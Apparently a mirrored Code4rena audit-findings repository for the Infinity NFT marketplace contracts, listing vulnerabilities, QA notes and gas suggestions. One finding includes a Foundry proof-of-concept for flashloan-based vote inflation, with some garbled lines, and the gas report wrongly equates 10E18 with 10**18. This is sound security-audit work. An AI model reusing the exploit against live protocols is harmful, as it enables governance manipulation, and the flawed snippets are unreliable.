GithubHelp home page GithubHelp logo

2022-06-infinity-findings's Introduction

Infinity NFT Marketplace Contest

Unless otherwise discussed, this repo will be made public after contest completion, sponsor review, judging, and two-week issue mitigation window.

Contributors to this repo: prior to report publication, please review the Agreements & Disclosures issue.


Contest findings are submitted to this repo

Typically most findings come in on the last day of the contest, so don't be alarmed at all if there's nothing here but crickets until the end of the contest.

As a sponsor, you have four critical tasks in the contest process:

  1. Handle duplicate issues.
  2. Weigh in on severity.
  3. Respond to issues.
  4. Share your mitigation of findings.

Let's walk through each of these.

High and Medium Risk Issues

Handle duplicates

Because wardens submit issues without seeing each other's submissions, there will always be findings that are clear duplicates. Other findings may use different language that ultimately describes the same issue, but from different angles. Use your best judgment in identifying duplicates, and don't hesitate to reach out (in your private contest channel) to ask C4 for advice.

  1. For all issues labeled 3 (High Risk) or 2 (Medium Risk), determine the best and most thorough description of the finding among the set of duplicates. (At least a portion of the content of the most useful description will be used in the audit report.)
  2. Close the other duplicate issues and label them with duplicate
  3. Mention the primary issue # when closing the issue (using the format Duplicate of #issueNumber), so that duplicate issues get linked.

Note: QA and Gas reports do not need to be de-duped. Please see the "QA and Gas reports" section below for more details.

Weigh in on severity

Judges have the ultimate discretion in determining severity of issues, as well as whether/how issues are considered duplicates. However, sponsor input is a significant criteria.

For a detailed breakdown of severity criteria and how to estimate risk, please refer to the judging criteria in our documentation.

If you disagree with a finding's severity, leave the original severity label set by the warden and add the label disagree with severity, along with a comment indicating your opinion for the judges to review. It is possible for issues to be considered 0 (Non-critical).

Feel free to use the question label for anything you would like additional C4 input on.

Please don't change the severity labels; that's up to the judge's discretion.

Respond to issues

Label each High or Medium risk finding as one of these:

  • sponsor confirmed, meaning: "Yes, this is a problem and we intend to fix it."
  • sponsor disputed, meaning either: "We cannot duplicate this issue" or "We disagree that this is an issue at all."
  • sponsor acknowledged, meaning: "Yes, technically the issue is correct, but we are not going to resolve it for xyz reasons."

(Note: please don't use sponsor disputed for a finding if you think it should be considered of lower or higher severity. Instead, use the label disagree with severity and add comments to recommend a different severity level -- and include your reasoning.)

Add any necessary comments explaining your rationale for your evaluation of the issue. Note that when the repo is public, after all issues are mitigated, wardens will read these comments.

QA and Gas Reports

For low and non-critical findings (AKA QA), as well as gas optimizations: all warden submissions in these three categories should now be submitted as bulk listings of issues and recommendations:

  • QA reports should include all low severity and non-critical findings, along with a summary statement.
  • Gas reports should include all gas optimization recommendations, along with a summary statement.

For QA and Gas reports, we ask that you:

  • Leave a comment for the judge on any reports you consider to be particularly high quality. (These reports will be awarded on a curve.)
  • Add the sponsor disputed label to any reports that you think should be completely disregarded by the judge, i.e. the report contains no valid findings at all.

Once de-duping and labelling is complete

When you have marked all duplicates and labelled all findings, drop the C4 team a note in your private Discord backroom channel and let us know you've completed the sponsor review process. At this point, we will pass the repo over to the judge, and they'll get to work while you work on mitigation.

Share your mitigation of findings

Note: this section does not need to be completed in order to move to the judging phase. You can continue work on mitigations while judging is occurring and even beyond that. Ultimately we won't publish the final audit report until you give us the ok.

For each non-duplicate finding which you have confirmed, you will want to mitigate the issue before the contest report is made public.

As you undertake that process, we request that you take the following steps:

  1. Within your own GitHub repo, create a pull request for each finding.
  2. Link the PR to the issue that it resolves within your contest findings repo.

This will allow for complete transparency in showing the work of mitigating the issues found in the contest. Do not close the issue; simply label it as resolved. If the issue in question has duplicates, please link to your PR from the issue you selected as the best and most thoroughly articulated one.

2022-06-infinity-findings's People

Contributors

code423n4 avatar itsmetechjay avatar kartoonjoy avatar c4-staff avatar

Stargazers

舜间永恒 avatar ZF avatar OuailT avatar Joe Frazier avatar

Watchers

nneverlander avatar Ashok avatar HardlyDifficult avatar  avatar Joe Frazier avatar

2022-06-infinity-findings's Issues

InfinityStaker: Manipulations of updatePenalties

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L364-L372

Vulnerability details

Impact

The updatePenalties function does not emit events and owner can set the *_MONTH_PENALTY to a very large value, which may frontrun user's rageQuit process.

Proof of Concept

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L364-L372

Tools Used

None

Recommended Mitigation Steps

Consider adding limit for *_MONTH_PENALTY in updatePenalties function and emit event

QA Report

Event is missing indexed fields

description

Each event should use three indexed fields if there are three or more fields

findings

/2022-06-infinity/contracts/core/InfinityExchange.sol
85:   event MatchOrderFulfilled(
86:     bytes32 sellOrderHash,
87:     bytes32 buyOrderHash,
88:     address seller,
89:     address buyer,
90:     address complication, // address of the complication that defines the execution
91:     address currency, // token address of the transacting currency
92:     uint256 amount // amount spent on the order
93:   );
94: 
95:   event TakeOrderFulfilled(
96:     bytes32 orderHash,
97:     address seller,
98:     address buyer,
99:     address complication, // address of the complication that defines the execution
100:     address currency, // token address of the transacting currency
101:     uint256 amount // amount spent on the order
102:   );

missing checks for zero address

description

Checking addresses against zero-address during initialization or during setting is a security best-practice. However, such checks are missing in address variable initializations/changes in many places.

Impact: Allowing zero-addresses will lead to contract reverts and force redeployments if there are no setters for such address variables.

findings

/2022-06-infinity/contracts/core/InfinityExchange.sol
115:     WETH = _WETH;
116:     MATCH_EXECUTOR = _matchExecutor;
/2022-06-infinity/contracts/core/InfinityExchange.sol
1229:   function rescueETH(address destination) external payable onlyOwner {
1230:     (bool sent, ) = destination.call{value: msg.value}('');
1231:     require(sent, 'failed');
1232:   }

/2022-06-infinity/contracts/core/InfinityExchange.sol
1255:   function updateMatchExecutor(address _matchExecutor) external onlyOwner {
1256:     MATCH_EXECUTOR = _matchExecutor;
1257:   }
1258: 
/2022-06-infinity/contracts/staking/InfinityStaker.sol
375:   function updateInfinityTreasury(address _infinityTreasury) external onlyOwner {
376:     INFINITY_TREASURY = _infinityTreasury;
377:   }
/2022-06-infinity/contracts/token/InfinityToken.sol
55: _mint(admin, supply);

Unused receive()/fallback() function

description

If the intention is for the Ether to be used, the function should call another function, otherwise it should revert

any funds accidently sent to the contract from a user will be lost

findings

/2022-06-infinity/contracts/core/InfinityExchange.sol
119:   fallback() external payable {}
121:   receive() external payable {}
/2022-06-infinity/contracts/staking/InfinityStaker.sol
55:   fallback() external payable {}
57:   receive() external payable {}

add protection for non ETH transfers

description

in the function takeMultipleOneOrders() and takeOrders() in InfinityExchange.sol, if the order is non ETH add a require statement to make sure msg.value == 0

should use constants rather than magic values

description

/2022-06-infinity/contracts/core/InfinityExchange.sol
725: uint256 protocolFee = (protocolFeeBps * execPrice) / 10000;
1161: uint256 PRECISION = 10**4; // precision for division; similar to bps
/2022-06-infinity/contracts/core/InfinityOrderBookComplication.sol
338: uint256 PRECISION = 10**4; // precision for division; similar to bps

owner can increase fee to any amount

description

the owner can increase protocol fee without timelock to any amount

recommending adding a timelock and sanity checks to limit the amount of fees

findings

/2022-06-infinity/contracts/core/InfinityExchange.sol
1266:   function setProtocolFee(uint16 _protocolFeeBps) external onlyOwner {
1267:     PROTOCOL_FEE_BPS = _protocolFeeBps;
1268:     emit NewProtocolFee(_protocolFeeBps);
1269:   }

Use of Block.timestamp

description

Block timestamps have historically been used for a variety of applications, such as entropy for random numbers (see the Entropy Illusion for further details), locking funds for periods of time, and various state-changing conditional statements that are time-dependent. Miners have the ability to adjust timestamps slightly, which can prove to be dangerous if block timestamps are used incorrectly in smart contracts.

findings

/2022-06-infinity/contracts/staking/InfinityStaker.sol
102: userstakedAmounts[msg.sender][newDuration].timestamp = block.timestamp;
/2022-06-infinity/contracts/token/InfinityToken.sol
51:     previousEpochTimestamp = block.timestamp;
52:     currentEpochTimestamp = block.timestamp;

InfinityExchange: Manipulations of setProtocolFee

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1266-L1269

Vulnerability details

Impact

The owner can set PROTOCOL_FEE_BPS to 10000 in the setProtocolFee function of the InfinityExchange contract, which may frontrun the user's token transfering

Proof of Concept

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1266-L1269

Tools Used

None

Recommended Mitigation Steps

Consider adding a limit to PROTOCOL_FEE_BPS in the setProtocolFee function

Missing "else" path

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1062-L1072

Vulnerability details

Impact

The highlighted section of code within the smart contract is responsible for transferring NFT tokens to users. The function itself allows currency other than ERC20 to be used in trade, namely ERC721 and ERC1155 tokens.

The function does this through elif gates, with one path for ERC721 tokens, and another for ERC1155 tokens, as seen in the "if" and "else if" statements in the code snippet.

However, the function does not provide an "else" branch for tokens that are neither ERC721 nor ERC1155. This may not be that substantial a problem currently, as ERC721 and ERC1155 tokens are some of the most common NFT token types nowadays but may pose a threat in the future if another ERC token becomes more popular for commercial use.

If a user possesses NFT tokens that are neither ERC721 nor ERC1155, they will not be able to interact with the contract, as their call will be funneled down into the nonexistent "else" branch.

This problem is further accentuated, as the smart contract itself is not upgradeable, so changes cannot be made in the future.

Proof of Concept

The "else" statement is missing on line 1071.

Tools Used

Manual Review

Recommended Mitigation Steps

Add an "else" statement which that reverts an error message.

function _transferNFTs(
    address from,
    address to,
    OrderTypes.OrderItem calldata item
  ) internal {
    if (IERC165(item.collection).supportsInterface(0x80ac58cd)) {
      _transferERC721s(from, to, item);
    } else if (IERC165(item.collection).supportsInterface(0xd9b67a26)) {
      _transferERC1155s(from, to, item);
    } else{
      revert("Not ERC115 or ERC721");
    }
  }

rescue function does not work as intended

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1230

Vulnerability details

description

the ETH amount transfered to the destination is msg.value which is provided by the caller

PoC

/2022-06-infinity/contracts/core/InfinityExchange.sol
1229:   function rescueETH(address destination) external payable onlyOwner {
1230:     (bool sent, ) = destination.call{value: msg.value}('');
1231:     require(sent, 'failed');
1232:   }
/2022-06-infinity/contracts/staking/InfinityStaker.sol
345:   function rescueETH(address destination) external payable onlyOwner {
346:     (bool sent, ) = destination.call{value: msg.value}('');
347:     require(sent, 'Failed to send Ether');
348:   }

InfinityStaker flash increase of user's stake power

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L67-L77
https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L116-L131

Vulnerability details

Impact

Contract InfinityStaker allows staking INFINITY_TOKEN for the specified duration. In exchange it provides other contracts/protocols with information about the users stake levels which can be used for voting/gov functionalities. The longer staking duration is the bigger the user's stake power multiplier. It is also possible to stake tokens for no duration which basically sets the mulitplier to 1. This lack of lock-up allows attacker to increase his stake level to maximum, vote and drop the tokens in a single transaction.

Exploit Scenario (in a single transaction):

  1. Attacker uses liquidity INFINITY_TOKEN/USDT to buy significant amount of INFINITY_TOKEN tokens.
  2. Attacker stakes INFINITY_TOKEN for no duration.
  3. Attacker uses its high StakeLevel to vote or execute gov actions on other contracts/protocols that use Infinity's stake level.
  4. Attacker unstakes INFINITY_TOKEN.
  5. Attacker swaps INFINITY_TOKEN for USDT.

Attacker executed voting/gov with maximum StakeLevel at the cost of two swaps - USDT->INFINITY_TOKEN and INFINITY_TOKEN->USDT.

The severity is highly dependent on external contracts/protocols where StakeLevel is exepcted to be used.

Proof of Concept

Tools Used

Manual Review / VSCode

Recommended Mitigation Steps

It is recommended to add slight timelock between staking and user's stake power accrual so it will be required to stake tokens for minimum amount of time in order to gain voting power.

THE VOTING SYSTEM CAN BE FLASHLOANED AND A USER CAN GET ALMOST THE WHOLE PERCENTAGE OF CURATIONS

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L67
https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L232
https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L116

Vulnerability details

Impact

The current voting system is carried out offchain as discussed with the developer. While curating a collection, the voting power is estimated depending on how much the user staked and for how long. The longer the staking time, the more voting power each token yields, as shown in InfinityStaker.getUserStakePower here.

Currently, the tokens used to stake are ERC20 tokens that can be flashswapped via a DEX pair. If an attacker deploys a flashswapper contract, a considerable amount of voting power can be acquired by following the staking - voting - unstaking process having as much votes as the liquidity provided by the flashswap/flashloan, thus acquiring almost every future reward coming from transaction fees of the curated collection.

Proof of Concept

In order to illustrate this exploit, the process will be first showcased following by the Foundry lines of code that perform this attack.

  • Alice, Bob and Charlie are devoted to the project and on its inception decide to stake the same amount of tokens for a long time, lets say twelve months.
  • A few months later, the first collection to be curated arrives requiring users to vote for their curation.
  • An attacker detects that the voting system relies only on the return value of InfinityStaker.getUserStakePower. So he decides to deploy a malicious smart contract that flashswapps the pair on a DEX (assuming that the pair has considerable liquidity after those few months).
  • Alice, Bob and Charlie vote and because they all staked for the same time and amount, their voting power is the same (thus they have the same percentage of future fees collected).
  • The attacker requests a huge flashswap, stakes that amount, votes to curate that collection, unstakes and then pays the swap back (assuming swap fees = 0% for simplicity).

This process is illustrated by the following Foundry test where:

  • users[]: array of Alice, Bob, Charlie addresses.

  • The flashloan is simulated by transfering funds from and to the deployer.

  • The token instance is a deployment of the protocol InfinityToken contract.

  • The staker instance is a deployment of the protocol InfinityStaker contract.

  • The deploymentTimestamp is a helper variable created to add relative times to the current EVM testing session.

     function test_FlashLoanableVotes() public {
         // Generate a balance to Users.
         vm.startPrank(deployer);
         uint256 lenUsers = users.length;
         for (uint i=0; i < lenUsers; ++i){
             token.transfer(users[i], 1 ether);
             assertEq(token.balanceOf(users[i]), 1 ether);
         }
         vm.stopPrank();
    
         // The users decide to stake their balance for twelve (12) months.
         uint256 amountToStake;
         uint256 totalStaked;
         for (uint i=0; i < lenUsers; ++i){
             vm.startPrank(users[i]);
             token.approve(address(staker), token.balanceOf(users[i]));
             amountToStake = token.balanceOf(users[i]);
             assertEq(token.allowance(users[i], address(staker)), amountToStake);
    
             totalStaked += amountToStake;
    
             // Duration Enum: 0 = None, 1 = three months, 2 = six months, 3 = twelve months
             staker.stake(token.balanceOf(users[i]), Duration.TWELVE_MONTHS );
    
             assertEq(staker.getUserTotalStaked(users[i]), amountToStake);
             vm.stopPrank();
         }
    
         assertEq(token.balanceOf(address(staker)), totalStaked);
    
         // Two months pass, a project needs to be curated
         // and the team gets the voting power of each staker offchain.
         uint256 warpAmount = deploymentTimestamp + (60 days);
         vm.warp(warpAmount);
    
         // The votes are calculated for an user by calling getUserStakePower(user)
         uint256[] memory stakingPowers = new uint256[](4);
         for (uint i=0; i < lenUsers; ++i){
             stakingPowers[i] = staker.getUserStakePower(users[i]);
         }
    
         // Suddenly, an ATTACKER detects that a new curation process started
         // and decides to flashswap the pair on UniSwap, flashswap - stake - vote - unstake - pay back
         
         // (Simulating flashswap by generating balance from deployer)
         vm.startPrank(deployer);
    
         // Stakes at duration zero (None)
         vm.startPrank(attacker);
    
         uint256 maliciousStake = token.balanceOf(attacker);
         token.approve(address(staker), maliciousStake);
         assertEq(token.allowance(attacker, address(staker)), maliciousStake);
    
         staker.stake((maliciousStake), Duration.NONE );
         assertEq(staker.getUserTotalStaked(attacker), maliciousStake);        
    
         // Votes to curate a collection
         stakingPowers[3] = staker.getUserStakePower(attacker);
    
         // Unstakes the maliciousStake amount
         staker.unstake(maliciousStake);
         assertEq(token.balanceOf(attacker), maliciousStake);   
    
         // Pays the loan back (assuming loan fees = 0)As a result, the attacker contract will have almost all the votes of that curation and will be eligible to get huge rewards when the fees are distributed.
         assertEq(token.balanceOf(attacker), 0);
    
         for (uint i=0; i < stakingPowers.length; ++i){
             string memory prompt = i == 3 ? "Attacker: " : "User: ";
             console.log(prompt, stakingPowers[i]);
         }
         vm.stopPrank();
     }
    

As a result, the attacker contract will have almost all the votes of that curation and will be eligible to get huge rewards when the fees are distributed.

Also, as a caveat on the voting system, the current contract logic contemplates also cases where a whale can come, deposit a huge amount for a longer time than NONE and call InfinityStaker.rageQuit by paying the penalties. If the curated collection is going to be for example a new release of Yuga Labs, Larva Labs or any other popular collection maker, whales may stake-vote-ragequit and lose some penalties knowing that the potential collection fees will pay more than the penalty. This scenario may also harm the community making that the only ones who benefit from the voting system are the team (penalties) and the whales (future collection fees).

Recommended Mitigation Steps

In order to mitigate this issue, if the voting system is meant to be performed offchain as is it proposed, removing the right to stake under the NONE level (a.k.a no duration) and setting up at least a day or a week as a minimum staking duration to yield voting power will prevent users from flash-voting.

Using a day or a week will also require to arrange and review how the curated collections are going to be presented in order to bring predictability and organization to the future stakers (if desired to be a planned system, the C4 approach of showing a future projects and adding a countdown until the process starts can be a solution) but all of those considerations are out of the scope of this security audit.

Gas Optimizations

There's no need to set default values for variables.

If a variable is not set/initialized, the default value is assumed (0, false, 0x0 ... depending on the data type). You are simply wasting gas if you directly initialize it with its default value.

Affected source code:

Reduce math operations

Use scientific notation (e.g. 10E18) rather than exponentiation (e.g. 10**18)

1_000_000 * (10**decimals()) => 1_000_000 ether (check before)

10**18:

Use constant for uint256 PRECISION = 10**4;:

Use Custom Errors instead of Revert Strings to save Gas

Custom errors from Solidity 0.8.4 are cheaper than revert strings (cheaper deployment cost and runtime cost when the revert condition is met)

Source Custom Errors in Solidity:

Starting from Solidity v0.8.4, there is a convenient and gas-efficient way to explain to users why an operation failed through the use of custom errors. Until now, you could already use strings to give more information about failures (e.g., revert("Insufficient funds.");), but they are rather expensive, especially when it comes to deploy cost, and it is difficult to use dynamic information in them.

Custom errors are defined using the error statement, which can be used inside and outside of contracts (including interfaces and libraries).

Affected contracts:

++i costs less gas compared to i++ or i += 1

++i costs less gas compared to i++ or i += 1 for unsigned integer, as pre-increment is cheaper (about 5 gas per iteration). This statement is true even with the optimizer enabled.

i++ increments i and returns the initial value of i. Which means:

uint i = 1;
i++; // == 1 but i == 2

But ++i returns the actual incremented value:

uint i = 1;
++i; // == 2 and i == 2 too, so no need for a temporary variable

In the first case, the compiler has to create a temporary variable (when used) for returning 1 instead of 2
I suggest using ++i instead of i++ to increment the value of an uint variable. Same thing for --i and i--

Affected source code:

Wrong Visibility

The following methods are public, it's better to use private:

Logic change

PendingChange struct is not required, it's cheaper to avoid it changing TimelockConfig.sol#L106-L114 to:

function getPendingByIndex(uint256 index) external view returns (bytes32 configId, PendingChangeData memory pendingRequest) {
    configId = _pendingSet.at(index);
    pendingRequest = _pending[configId]; // Parse the return is the same, but the return it's cheaper
}

function getPending(bytes32 configId) external view returns (PendingChangeData memory pendingRequest) {
    require(_pendingSet.contains(configId), 'not pending');
    return _pending[configId]; // Not need to return configId, because it's the provided argument
}

Move the totalVested line:

-   uint256 totalVested = noLock + threeMonthVested + sixMonthVested + twelveMonthVested;
    uint256 totalStaked = noLock + threeMonthLock + sixMonthLock + twelveMonthLock;
    require(totalStaked >= 0, 'nothing staked to rage quit');
+   uint256 totalVested = noLock + threeMonthVested + sixMonthVested + twelveMonthVested;

Change the logic from InfinityStaker.sol#L213-L223 to:

if (totalPower < BRONZE_STAKE_THRESHOLD) return StakeLevel.NONE;    // The current code use <= but seems wrong.
if (totalPower < SILVER_STAKE_THRESHOLD) return StakeLevel.BRONZE;  // The current code use <= but seems wrong.
if (totalPower < GOLD_STAKE_THRESHOLD) return StakeLevel.SILVER;    // The current code use <= but seems wrong.
if (totalPower < PLATINUM_STAKE_THRESHOLD) return StakeLevel.GOLD;  // The current code use <= but seems wrong.
return StakeLevel.PLATINUM;

Speed up false returns changing InfinityOrderBookComplication.sol#L26-L57:

  function canExecMatchOneToOne(OrderTypes.MakerOrder calldata makerOrder1, OrderTypes.MakerOrder calldata makerOrder2)
    external
    view
    override
    returns (bool, uint256)
  {
    bool numItemsValid = makerOrder2.constraints[0] == makerOrder1.constraints[0] &&
      makerOrder2.constraints[0] == 1 &&
      makerOrder2.nfts.length == 1 &&
      makerOrder2.nfts[0].tokens.length == 1 &&
      makerOrder1.nfts.length == 1 &&
      makerOrder1.nfts[0].tokens.length == 1;
+   if (!numItemsValid) return false;
    bool _isTimeValid = makerOrder2.constraints[3] <= block.timestamp &&
      makerOrder2.constraints[4] >= block.timestamp &&
      makerOrder1.constraints[3] <= block.timestamp &&
      makerOrder1.constraints[4] >= block.timestamp;
+   if (!_isTimeValid) return false;
-   bool _isPriceValid = false;
    uint256 makerOrder1Price = _getCurrentPrice(makerOrder1);
    uint256 makerOrder2Price = _getCurrentPrice(makerOrder2);
    uint256 execPrice;
    if (makerOrder1.isSellOrder) {
-     _isPriceValid = makerOrder2Price >= makerOrder1Price;
+     if (makerOrder2Price < makerOrder1Price) return false;
      execPrice = makerOrder1Price;
    } else {
-     _isPriceValid = makerOrder1Price >= makerOrder2Price;
+     if (makerOrder1Price < makerOrder2Price) return false;
      execPrice = makerOrder2Price;
    }
    return (
-     numItemsValid && _isTimeValid && doItemsIntersect(makerOrder1.nfts, makerOrder2.nfts) && _isPriceValid,
+     doItemsIntersect(makerOrder1.nfts, makerOrder2.nfts),
      execPrice
    );
  }

Gas saving using immutable.

It's possible to avoid storage access a save gas using immutable keyword for the following variables:

Affected source code:

Delete optimization

Use delete instead of set to default value (false or 0)

Affected source code:

Use storage pointers or memory

Use storage keyword for save gas in order to cache a storage pointer.

The recurring use of the same register reading from storage is a task that can be easily optimized by using storage or memory, a clear example is access to userstakedAmounts[user] but it can be seen throughout all contracts.

Affected source code:

userstakedAmounts[msg.sender]:

userstakedAmounts[user]:

Not follow the WP

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/601e0e5498587f5b1ae33f345223c86526ae9ce1/contracts/token/InfinityToken.sol#L55
https://github.com/code-423n4/2022-06-infinity/blob/601e0e5498587f5b1ae33f345223c86526ae9ce1/contracts/token/InfinityToken.sol#L122
https://github.com/code-423n4/2022-06-infinity/blob/601e0e5498587f5b1ae33f345223c86526ae9ce1/contracts/token/InfinityToken.sol#L76
https://github.com/code-423n4/2022-06-infinity/blob/601e0e5498587f5b1ae33f345223c86526ae9ce1/contracts/token/InfinityToken.sol#L134

Vulnerability details

Impact

There are discrepancies between the token logic found in the readme and the implemented logic.

Proof of Concept

The description of the contract mentions:

Initial supply will be 250M

However, this restriction is not specified in the code.

Affected source code:

There is a max supply of 1B tokens. Initial supply will be 250M. There are 3 inflation epochs, each with a time gap of 6 months. Each inflation epoch adds 250M tokens to the supply. After 1B max supply is reached there won't be any more supply unless the max number of epochs is increased`

However, this restriction is not specified in the code, since the values depend on configurations controlled by the owner that can be modified at any time (like EPOCH_INFLATION).

Affected source code:

Recommended Mitigation Steps

  • Make sure the WP is complied with in the code.

InfinityExchange: Manipulations of setProtocolFee

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1266-L1269

Vulnerability details

Impact

The owner can set PROTOCOL_FEE_BPS to 10000 in the setProtocolFee function of the InfinityExchange contract, which may frontrun the user's token transfering

Proof of Concept

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1266-L1269

Tools Used

None

Recommended Mitigation Steps

Consider adding a limit to PROTOCOL_FEE_BPS in the setProtocolFee function

Functions `InifinityExchange#rescueETH()` and `InfinityStaker#rescueETH()` do not rescue ETH held in contract

Lines of code

https://github.com/infinitydotxyz/exchange-contracts-v2/blob/main/contracts/core/InfinityExchange.sol#L1230
https://github.com/infinitydotxyz/exchange-contracts-v2/blob/main/contracts/core/InfinityExchange.sol#L326
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L346
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L55

Vulnerability details

Description

The functions rescueETH(address) in the InifinityExchange and InfinityStaker contracts are intended to send all ETH held in the contract to the address given as function argument.

However, the function implementations differ from the specification in that they only
forward the ETH send in the call's msg.value.

Impact

The impact is HIGH because ETH held in the contracts can not be withdrawn/rescued, leading to a loss of all ETH held in the contract.

As the contracts implements a fallback and a receive function, the contracts are definitly able to receive ETH.

Recommendation

Refactor the rescueETH functions to something like:

function rescueETH(address to) external onlyOwner {
    uint balance = address(this).balance;
    (bool sent, ) = destination.call{value: balance}('');
    require(sent, 'failed');
}

Value Range Validity

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1266-L1269
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L351-L372

Vulnerability details

Impact

These functions doesn't have any checks to ensure that the variables being set is within some kind of value range.

Tools Used

Manual Review

Recommended Mitigation Steps

Each variable input parameter updated should have it's own value range checks to ensure their validity.

rescueETH() not working as expected.

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1230
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L346

Vulnerability details

Impact

Detailed description of the impact of this finding.

rescueETH() is a function used to rescue the Ether funds present in the InfinityStaker & InfinityExchange contracts, however, it does not work as expected and sends msg.value (Ether sent by the owner) to the destination.

This will result in a lack of timely access to Ether funds in the event of an emergency, further leading to a hack.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1230

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L346

function rescueETH(address destination) external payable onlyOwner {
    (bool sent, ) = destination.call{value: msg.value}('');
    require(sent, 'failed');
}

Replace the code of the function with

function rescueETH(address destination) external payable onlyOwner {
    (bool sent, ) = destination.call{value: address(this).balance}('');
    require(sent, 'failed');
}

done.

Tools Used

Recommended Mitigation Steps

function rescueETH(address destination) external payable onlyOwner {
    (bool sent, ) = destination.call{value: msg.value}('');
    require(sent, 'failed');
}

Replace the code of the function with

function rescueETH(address destination) external payable onlyOwner {
    (bool sent, ) = destination.call{value: address(this).balance}('');
    require(sent, 'failed');
}

QA Report

Audit of Infinity NFT Marketplace

Transfers ETH without require check

_transferFees() - Found here

While this is in an internal function, it is being called a few times earlier. The require functions to protect this internal function seem to focus on metadata of currency and such. A require function that whitelists who can and cannot access _transferFees() will probably add an extra layer of security. Related details here (SWC-105).

Divides before multiply

This is a low level severity, but can be exploited in specific scenarios. Since the variable dependency runs deep, there is added layer of ambiguity.

Instances found -

  1. Calculating price difference - also found in InfinityOrderBookComplication.
  2. PortionBPS - also found in InfinityOrderBookComplication.
  3. epochsPassedSinceLastAdvance - depends on division before multiplication and block.timestamp - both unreliable in the right circumstance (although, latter is practically a non-threat on main-net Ethereum due to chain maturity). Found here.

Functions that update parameters don't emit events

Usually, it is a good idea to emit events whenever variables that act as parameters later are changed. updateStakeLevelThreshold and updatePenalties both have this property as seen here.

Calls inside loops

This is probably fundamentally necessary to Infinity, but with some rearchitecting/using the frontend, is it possible to reduce this? Ref. this.

Another thing to keep in mind is that Ethereum usually prefers pull over push when giving out NFTs.

There are around 12 instances of this - maybe all multiple calls have no other option. Anyway, listed as follows-

  1. _transferERC1155
  2. _nftsHash
  3. _tokensHash
  4. matchOneToOneOrders
  5. matchOneToManyOrders has two instances, here's another one.
  6. matchOrders
  7. takeMultipleOneOrders
  8. takeOrders
  9. cancelMultipleOrders
  10. _transferMultipleNFTs
  11. _transferERC721
  12. _tokensHash

Gas optimisation by using the external keyword

getUserTotalStaked() uses public, which could instead be external (since it isn't used anywhere else in the codebase). Saves you a small amount of gas. This is also true for getUserTotalVested().

Supply increase can be blocked by some duration

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/token/InfinityToken.sol#L60

Vulnerability details

Impact

The advanceEpoch function allows to increase supply gradually over time once getEpochDuration() has passed. It seems that previousEpochTimestamp is not updated properly and since this function is external so could be called by anyone. Combining both things any user can increase previousEpochTimestamp by calling advanceEpoch at right time as shown in POC which will elongate the minting process

Proof of Concept

  1. Assume epoch duration is 10 days and max epoch is 2

  2. Contract was deployed on 1st June 2022

  3. So the first epoch will be at 11th June and second will be at 21st June (10 days epoch duration)

  4. Attacker simply calls advanceEpoch on 17th June (assuming admin has not called this on 11th june) which causes previousEpochTimestamp to become 17th June with minting given to admin for first epoch duration

  5. On 21st when Admin tries advanceEpoch it fails since previousEpochTimestamp + getEpochDuration() > block.timestamp (17th June+10 days = 27th June)

  6. This means Admin has to wait till 27th when he should have been able to call it on 21st only

Recommended Mitigation Steps

The advanceEpoch function should only be callable by owner/admin. Also Update previousEpochTimestamp like below:

previousEpochTimestamp + = getEpochDuration()*epochsPassedSinceLastAdvance;

`InfinityStaker` and `InfinityExchange` are prone to "donate" user's ether by mistake

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/601e0e5498587f5b1ae33f345223c86526ae9ce1/contracts/staking/InfinityStaker.sol#L345-L348
https://github.com/code-423n4/2022-06-infinity/blob/601e0e5498587f5b1ae33f345223c86526ae9ce1/contracts/core/InfinityExchange.sol#L1229

Vulnerability details

Impact

The methods receive and fallback are payable and the doesn't track the user ether, so the user's ether can be locked until owner decide.

The contracts contains a method to get the accidentally ether by the admin

/// @dev Admin function to rescue any ETH accidentally sent to the contract

But also, it facilitate the human errors with the payable methods receive and fallback.

